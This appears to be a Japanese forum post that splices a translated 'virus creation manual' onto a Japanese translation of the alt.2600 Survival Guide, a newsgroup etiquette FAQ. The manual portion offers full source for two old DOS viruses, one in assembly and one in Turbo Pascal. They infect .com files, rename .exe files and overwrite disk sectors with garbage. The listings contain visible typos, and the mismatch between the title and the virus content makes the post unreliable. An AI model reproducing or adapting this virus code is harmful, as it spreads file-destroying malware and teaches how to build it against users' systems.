alt.2600 サバイバル・ガイド


 投稿者:掃除人  投稿日:6月10日(火)22時58分49秒

Archive-Name: alt-2600/survival-guide
Posting-Frequency: Random
Last-Modified: 1995/10/14
Version: 1995/10/14


                       alt.2600 サバイバル・ガイド
   

*******************************************************************
              / 
              / * ウイルス作成マニュアル - 日本語版 - * / 
              / * 訳 : ***** * / 
              /
              *******************************************************************
              / 
              ウイルスは今日、知られているほとんどのコンピュータ言語で表現することができます。 
              けれども、以前までは効果的な ウイルスのほとんどはアセンブラ言語で書かれていまし 
              た。 

              ウイルスはその限定された能力の為に、Basicでは書かれることはないと考えられて 
              いました。しかしそれは偽りです。Basicを正確に使えば非常に効果的なウイルスを 
              作り出す能力を持っていることが立証されるでしょう。BasicとAssemblyが結び 
              つけば、将来、ウイルスの有効性を強めることが可能でしょう。 

              この論文では私たちは私の興味のある B.fix、Rburger、Vallenらによって書か 
              れたAssembly、Pascal、Basic記述のウイルスを調べることにします。これらのウイルス 
              プログラムを実行する場合注意を払ってください。コンパイル する場合は別のディスクを 
              使ってください。 

              /* アセンブラで書かれたウイルスの場合
              -------------------------------------- */ 

              アセンブリがオペレーティングシステムセキュリティを回避するユニークな機能を持ちあわせているため, 
              大抵のウイルスはアセンブリで書かれます。この場合はMS-DOS2.1環境下で書かれたウイルス 
              の例ですが、後のバージョンでもコンパイルすることはできます。文章では部分的に説 
              明するようにしています。プログラマがもし切望されるならそれらの部分は削除し 
              てしようしてください。 

              ***********************************************************************

              ; Program Virus 
              ; Version 1.1 
              ; Writter : R. Burger 
              ; Created 1986 
              ; これはコンピュータ・ウイルスのためのデモンストレーションプログラムです。このプログラムは自分 
              ; 自身を置き換え、他のプログラムを修正する能力を持っています 
              ;**********************************************************************


              Code Segment 
              Assume CS:Code 
              progr equ 100h 
              ORG progr 

              ;**********************************************************************

              ; 3つの NOP はそれにウイルスを識別することを許すウイルスの目印バイト 
              ; の役割をします 
              ;**********************************************************************


              MAIN: 
              nop 
              nop 
              nop 

              ;**********************************************************************

              ; ポインタの初期化 
              ;**********************************************************************


              mov ax,00 
              mov es:[pointer],ax 
              mov es:[counter],ax 
              mov es:[disks],al 

              ;**********************************************************************

              ; 選択可能なドライブの取得 
              ;**********************************************************************


              mov ah,19h ;drive? 
              int 21h 

              ;**********************************************************************

              ; 現在のドライブのカレントパスの取得 
              ;**********************************************************************


              mov cs:drive,al ;save drive 
              mov ah,47h ;dir? 
              mov dh,0 
              add al,1 
              mov dl,al ;in actual drive 
              lea si,cs:old_path ; 
              int 21h 

              ;**********************************************************************

              ; 現在存在しているドライブの個数の取得。もし一つの場合は検索用のポインタは 
              ; +6と設定されます 
              ;**********************************************************************


              mov as,0eh ;how many disks 
              mov dl,0 ; 
              int 21h 

              mov al,01 
              cmp al,01 ;one drive 
              jnz hups3 
              mov al,06 

              hups3: mov ah,0 
              lea bx,search_order 
              add bx,ax 
              add bx,0001h 
              mov cs:pointer,bx 
              clc 

              ;**********************************************************************

              ; これ以上の*.comファイルを発見できない時、キャリーが付けられます。それから、 
              ; 不要な仕事を避けるために、 *.exeファイルが*.comファイルにリネームされ、感染され 
              ; ます。それは、感染されやや大きい実行プログラムをスタートするとき次のエラーメッセ 
              ; ージを表示します。"Program to largeto fit memory" 
              ;**********************************************************************


              change_disk: 
              jnc no_name_change 
              mov ah,17h ;change .EXE to .COM 
              lea dx,cs:maske_exe 
              int 21h 
              cmp al,0ffh 
              jnz no_name_change ;.EXE found? 

              ;**********************************************************************

              ; もし、 *.comと*.exeの何れも見つからない時はセクタがシステムタイマの…ミリ秒のう 
              ; ちに上書きされるでしょう。これは記憶メディアの「伝染」が完了する時間で 
              ; す。ウイルスはその破壊や感染から何も見出すことは出来ません 
              ;**********************************************************************


              mov ah,2ch ; read system clock 
              int 21h 
              mov bx,cs:pointer 
              mov al,cs:[bx] 
              mov bx,dx 
              mov cx,2 
              mov dh,0 
              int 26h ; write crap on disk 

              ;**********************************************************************

              ; オーダーテーブルの検索の終了に達したことを探知した場合は終了です 
              ;**********************************************************************


              no_name_change: 
              mov bx,cs:pointer 
              dec bx 
              mov cs:pointer,bx 
              mov dl,cs:[bx] 
              cmp dl,0ffh 
              jnz hups2 
              jmp hops 

              ;**********************************************************************

              ; 検索のオーダーテーブルによる新しいドライブを取得しそれを選択します 
              ;**********************************************************************


              hups2: 
              mov ah,0eh 
              int 21h ;change disk 

              ;**********************************************************************

              ; ルートディレクトリからスタート 
              ;**********************************************************************


              mov ah,3bh ;change path 
              lea dx,path 
              int 21h 
              jmp find_first_file 

              ;**********************************************************************

              ; ルートからスタートした時に、最初のサブディレクトリを検索します。古い ディレクトリで最 
              ; 初に*.exeファイルを*.comファイルにコンバートします 
              ;**********************************************************************


              find_first_subdir: 
              mov ah,17h ;change .exe to .com 
              lea dx,cs:maske_exe 
              int 21h 
              mov ah,3bh ;use root directory 
              lea dx,path 
              int 21h 
              mov ah,04eh ;search for first subdirectory 
              mov cx,00010001b ;dir mask 
              lea dx,maske_dir ; 
              int 21h ; 
              jc change_disk 
              mov bx,CS:counter 
              INC,BX 
              DEC bx 
              jz use_next_subdir 

              ;**********************************************************************

              ; 次のディレクトリを検索する。もしそれ以上ディレクトリが 
              ; 見つからなかったらドライブを変更する 
              ;**********************************************************************


              find_next_subdir: 
              mov ah,4fh ; search for next subdir 
              int 21h 
              jc change_disk 
              dec bx 
              jnz find_next_subdir 

              ;**********************************************************************

              ; 発見したディレクトリを選択する 
              ***********************************************************************


              use_next_subdir: 
              mov ah,2fh ;get dta address 
              int 21h 
              add bx,1ch 
              mov es:[bx],'\` ;address of name in dta 
              inc bx 
              push ds 
              mov ax,es 
              mov ds,ax 
              mov dx,bx 
              mov ah,3bh ;change path 
              int 21h 
              pop ds 
              mov bx,cs:counter 
              inc bx 
              mov CS:counter,bx 


              ;**********************************************************************

              ; 最初に.comファイルをカレントディレクトリ内で発見します。それらが違えば、次のディ 
              ; レクトリを検索します 
              ;**********************************************************************


              find_first_file: 
              mov ah,04eh ;Search for first 
              mov cx,00000001b ;mask 
              lea dx,maske_com ; 
              int 21h ; 
              jc find_first_subdir 
              jmp check_if_ill 


              ;**********************************************************************

              ; もし、プログラムが犯されていれば(感染されていたら)他の プログラムを検索 
              ; します 
              ;**********************************************************************


              find_next_file: 
              mov ah,4fh ;search for next 
              int 21h 
              jc find_first_subdir 

              ;**********************************************************************

              ; 既にウイルスに感染されたチェック 
              ***********************************************************************


              check_if_ill: 
              mov ah,3dh ;open channel 
              mov al,02h ;read/write 
              mov dx,9eh ;address of name in dta 
              int 21 
              mov bx,ax ;save channel 
              mov ah,3fh ; read file 
              mov ch,buflen ; 
              mov dx,buffer ;write in buffer 
              int 21h 
              mov ah,3eh ;close file 
              int 21h 


              ;**********************************************************************

              ; このルーチンは3つのNop's(NO OPERATION)を検索します。感染が既に存在して 
              ; いる時はまた検索を再開しなければなりません 
              ;**********************************************************************


              mov bx,cs:[buffer] 
              cmp bx,9090h 
              jz find_next_file 

              ;**********************************************************************

              ; このルーチンはMS-DOSのライトプロテクトによる場合もしそれが存在しているならとて 
              ; も重要です 
              ;**********************************************************************


              mov ah,43h ;write enable 
              mov al,0 
              mov dx,9eh ;address of name in dta 
              int 21h 
              mov ah,43h 
              mov al,01h 
              and cx,11111110b 
              int 21h 

              ;**********************************************************************

              ; 読み書きのアクセスの為のファイルオープン 
              ***********************************************************************


              mov ah,3dh ;open channel 
              mov al,02h ;read/write 
              mov dx,9eh ;address of name in dta 
              int 21h 

              ;**********************************************************************

              ; プログラムの日付部を読み、将来使うために保存します 
              ;**********************************************************************


              mov bx,ax ;channel 
              mov ah,57h ;get date 
              mov al.0 
              int 21h 
              push cx ;save date 
              push dx 

              ;**********************************************************************

              ; このジャンプは将来使用するために保存されたプログラムの 0100h番地に位置を 
              ; 定めます 
              ***********************************************************************


              mov dx,cs:[conta] ;save old jmp 
              mov cs:[jmpbuf],dx 
              mov dx,cs:[buffer+1] ;save new jump 
              lea cx,cont-100h 
              sub dx,cx 
              mov cs:[conta],dx 


              ;**********************************************************************

              ; ウイルスはそれ自身をファイルのスタート位置にコピーします 
              ;**********************************************************************


              mov ah,57h ;write date 
              mov al,1 
              pop dx 
              pop cx ;restore date 
              int 21h 

              ;**********************************************************************

              ; ファイルを閉じます 
              ;**********************************************************************


              mov ah,3eh ;close file 
              int 21h 

              ;**********************************************************************

              ; 古いジャンプアドレスの復元。ウイルスはアドレス「Conta」においてホストプログラムのスタート 
              ; にいたジャンプをセーブします。これは可能な限り ホストプログラムの実行状態を維 
              ; 持するために行われます。保存した後、それは ウイルスを含んでいられるジャン 
              ; プアドレスでまた働きます。ウイルスのジャンプアドレスはメモリの ジャンプアドレスとは異な 
              ; るので注意してください 
              ;**********************************************************************


              mov dx,cs:[jmpbuf] ;restore old jump 
              mov cs:[conta],dx 
              hops: nop 
              call use_old 

              ;**********************************************************************

              ; ホストプログラムの再起動 
              ;**********************************************************************


              cont db 0e9h ;make jump 
              conta dw 0 
              mov ah,00 
              int 21h 

              ;**********************************************************************

              ; プログラムのスタートでパスを選択し再び活動的になります 
              ;**********************************************************************


              use_old: 
              mov ah,0eh ;use old drive 
              mov dl,cs:drive 
              int 21h 

              ;**********************************************************************

              ; プログラムのスタートでパスを選択し再び活動的になります 
              ;**********************************************************************


              mov ah,3bh ;use old drive 
              lea dx,old_path-1 ;get old path and backslash 
              int 21h 
              ret 

              search_order db 0ffh,1,0,2,3,0ffh,00,offh 
              pointer dw 0000 ;pointer f. search order 
              counter dw 0000 ;counter f. nth. search 
              disks db 0 ;number of disks 

              maske_com db "*.com",00 ;search for com files 
              maske_dir db "*",00 ;search for dir's 
              maske_exe db offh,0,0,0,0,0,00111111b 
              db 0,"????????exe",0,0,0,0 
              db 0,"????????com",0 
              maske_all db offh,0,0,0,0,0,00111111b 
              db 0,"???????????",0,0,0,0 
              db 0,"????????com",0 

              buffer equ 0e00h ;a safe place 

              buflen equ 230h ;lenght of virus!!!! 
              ;carefull 
              ;if changing!!!! 
              jmpbuf equ buffer+buflen ;a safe place for jmp 
              path db "\",0 ;first place 
              drive db 0 ;actual drive 
              back_slash db "\" 
              old_path db 32 dup (?) ;old path 

              code ends 

              end main 

              [ END OF THIS VIRUS PROGRAM ] 

              /* Pascal で書かれたウイルスの場合
              ------------------------------------- */ 

              Pascalは目玉が飛び出るほどのすごいコンピュータ ・ウイルスを作り出すことができる、 
              もう一つの高水準言語です。特にTurboPascalの使用法が必要とされています。 
              ウイルスはしばらくの間、BBSを通して下に利用可能でした。 

              {*********************************************************************}

              {* ウイルス名:NO.1 *} 
              {* *} 
              {* このウイルスを扱う場合は注意してください *} 
              {* No.1はすべての*.comファイルに感染します - No.1のプログラムコードで上書きさ *} 
              {* れたファイルの ファイル名は表示されます。もし、すべてのファイルが感染されてい *} 
              {* たりそうでない場合は、発見された*.comファイルにNo.1が与えられます *} 
              {* ファイルはリードオンリー属性がかかった伝染に対しては保護されるでしょう。 *} 
              {* *} 
              {* Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) *} 
              {*********************************************************************}


              {C-} 
              {U-} 
              {I-} { Wont allow a user break, enable IO check} 

              { ** Constants
              ****************************************************** }


              Const 
              VirusSize = 12027; {Number One's code size} 

              Warning :String[42] {Warning message} 
              = 'This file has been infected ny Number One!'; 

              { ** Type declarations
              ********************************************** } 

              Type 
              DTARec =Record {Data area for file search } 
              DOSnext :Array[1..21] of Byte; 
              Attr : Byte; 
              Ftime, 
              FDate, 
              FLsize, 
              FHsize : Integer; 
              FullName: Array[1..13] of Char; 
              End; 

              Registers = Record {Register set used for file search } 
              Case Byte of 
              1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 
              2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); 
              End; 

              { ** Variables
              ****************************************************** }


              Var 
              { Memory offset program code } 
              ProgramStart : Byte absolute Cseg:$100; 
              { Infected marker } 
              MarkInfected : String[42] absolute Cseg:$180; 
              Reg : Registers; { Register set } 
              DTA : DTARec; { Data area } 
              Buffer : Array[Byte] of Byte; { Data Buffer } 
              TestID : String[42]; { To recognize infected files } 
              UsePath : String[66]; { Path to search files } 
              { Lenght of search path } 
              UsePathLenght: Byte absolute UsePath; 
              Go : File; { File to infect } 
              B : Byte; { Used } 

              { -- Program code------------------------------------------
              } 

              Begin 
              WriteLn(Warning); { Display warning message } 
              GetDir(0, UsePath); { get current directory } 
              if Pos('\', UsePath) <> UsePathLenght then 
              UsePath := UsePath + '\'; 
              UsePath := UsePath + '*.COM'; { Define search mask } 
              Reg.AH := $1A; { Set data area } 
              Reg.DS := Seg(DTA); 
              Reg.DX := Ofs(DTA); 
              MsDos(Reg); 
              UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } 
              Reg.AH := $4E; 
              Reg.DS := Seg(UsePath); 
              Reg.DX := Ofs(UsePath[1]); 
              Reg CX := $ff; { Set attribute to find ALL files } 
              MsDos(Reg); { Find first matching entry } 
              IF not Odd(Reg.Flags) Then { If a file found then } 
              Repeat 
              UsePath := DTA.FullName; 
              B := Pos(#0, UsePath); 
              If B > 0 then 
              Delete(UsePath, B, 255); { Remove garbage } 
              Assign(Go, UsePath); 
              Reset(Go); 
              If IOresult = 0 Then { If not IO error then } 
              Begin 
              BlockRead(Go, Buffer, 2); 
              Move(Buffer[$80], TestID, 43); 
              { Test if file already ill(Infected) } 
              If TestID <> Warning Then { If not then ... } 
              Begin 
              Seek (Go, 0); 
              { Mark file as infected and .. } 
              MarkInfected := Warning; 
              { Infect it } 
              BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7); 
              Close(Go); 
              { Say what has been done } 
              WriteLn(UsePath + 'infected.'); 
              Halt; {.. and halt the program } 
              End; 
              Close(Go); 
              End; 
              { The file has already been infected, search next. } 
              Reg.AH := $4F; 
              Reg.DS := Seg(DTA); 
              Reg.DX := Ofs(DTA); 
              MsDos(Reg); 
              { ......................Until no more files are found } 
              Until Odd(Red.Flags); 
              Write(`'); {Give a smile } 
              End. 


              けれども、これは基本的で効果的なウイルスです。このウイルスの場合*.comファイルだけが 
              感染します。ウイルスのサイズは12KBで日付エントリをチェンジします。 

              Basicでのウイルスの作成方法はまた今度の機会に…                     alt.2600 Survival Guide

                                by

                              Voyager
                            Will Spencer
                        will@gnu.ai.mit.edu

                      Last Updated: 1995/10/14


2600マガジンのためのニュースグループ、alt.2600 にようこそ。
alt.2600では電話(フリーキング)、コンピューター(ハッキング)、それに関する話題
についての議論を行っている。

あなたがこのニュースグループに適応するために、このガイドが助けになるだろう。
そしてこのニュースグループのユーザーが怒り出すのを(侮辱や乱用)を避けるためで
もある。

2600には返事を受け取るために守るべき、昔からの暗黙のルールがある。
alt2600で怒られないもっとも賢い方法は、2ヶ月くらいは投稿せずにニュースを読む
ことだ。ニュースグループの雰囲気がわかる。

投稿する時は新しいトピックであれ、フォローであれ有意義でなくてないけない。
いくつかの有益な事実や情報を含むようにする。alt2600の読者はテクニカルを好む。
おしゃべりや評論には興味がない。

トピックを新しく作る時は、あまり他のトピックと関係のない話題は避ける。
犬や車、女性..の話題をはじめてはいけない。それにはふさわしいニュースグループ
がある。alt2600に迷惑をかけないでほしい。みんなに罵倒されても私は知らない。

ファイルを探しているなら、探してみたが成功しなかったことを表明すること。
ファイルを探した場所を挙げること。そうしなければ、alt2600の読者の時間を浪費
させることになる。

質問を投稿するときの一般的なルールは、あなたが探している情報を調べるために
どんな方法を試したかを表明することだ。
Alt2600の読者はハッカーであることを誇りに思っている。ハッカーはあらゆる
手段で情報を探す。ニュースグループの読者が十分な調査もせずに質問をしてい
ると感じたら怒り出すだろう。

商用ソフトウェアの入手について質問するなら、それが商用であることを知っている
と表明すること。そうしなければ、それは商用だと知らせる返事で攻撃されるだろう。

商用ソフトウェアをお金を払わずに探したいなら、怒られる。多くの読者は著作権
を侵害することに、道徳的に反対しているわけではない。ソフトウェアの海賊行為
は馬鹿げたことだと思われている。なぜなら、それはテクニカルな面を欠いている。
alt2600は warez ニュースグループではない。

新しいトピックを開く前に他のトピックを読むこと。
すでにあるトピックと重複したら、無駄になる。

質問するときは、答えが alt.2600/#hack FAQ に無いことを確かめる。
もしあれば怒られる。 alt.2600/#hack FAQ は定期的に alt2600にポストされる。

 alt.2600/#hack FAQ は ftp で見つかる。

rahul.net      /pub/lps/sysadmin/
rtfm.mit.edu   /pub/usenet-by-group/alt.2600/
ftp.clark.net  /pub/jcase/

 World Wide Web では
http://www.engin.umich.edu/~jgotts/underground/hack-faq.html

 BBSでは
Hacker's Haven (303)343-4053

時には理由もなく誰かが怒り出すことがある。これは誰にでもある。室温のIQの
読者が、あなたの投稿を誤読するかもしれない。そして400行の熱弁であなたを
バカだと怒号するかもしれない。相手にするのは時間の無駄だ。

覚えておかなければいけない大事なことは、あなたは特別ばかでも天才でもない。
少数の読者はあなたの名前を覚えている。あるトピックではだれかと敵になるだろう。
また、あるトピックではだれかと仲間になる。
そしてそれが同じ人物だと気づかないかもしれない。
重要なのは投稿の内容だ。投稿者ではない。

要約すると、覚えておく重要なルールは:

1. 投稿する前に2ヶ月間ニュースグループを読む
2. 事実を有意義に投稿する
3. このニュースグループのための投稿をする
4. alt2600に尋ねるときに、どのような事を試したかを述べる。
5. alt.2600をソフトウェアの海賊行為に使うな
6. 質問をする前に alt.2600/#hack FAQをチェックする

このルールを守って誠実であっても、まだ誰かが怒り出すかもしれない。
あなたが alt2600の文化を守るために最善の努力をしてきたと確信するなら、
仕返しをしてもよいだろう。

EOF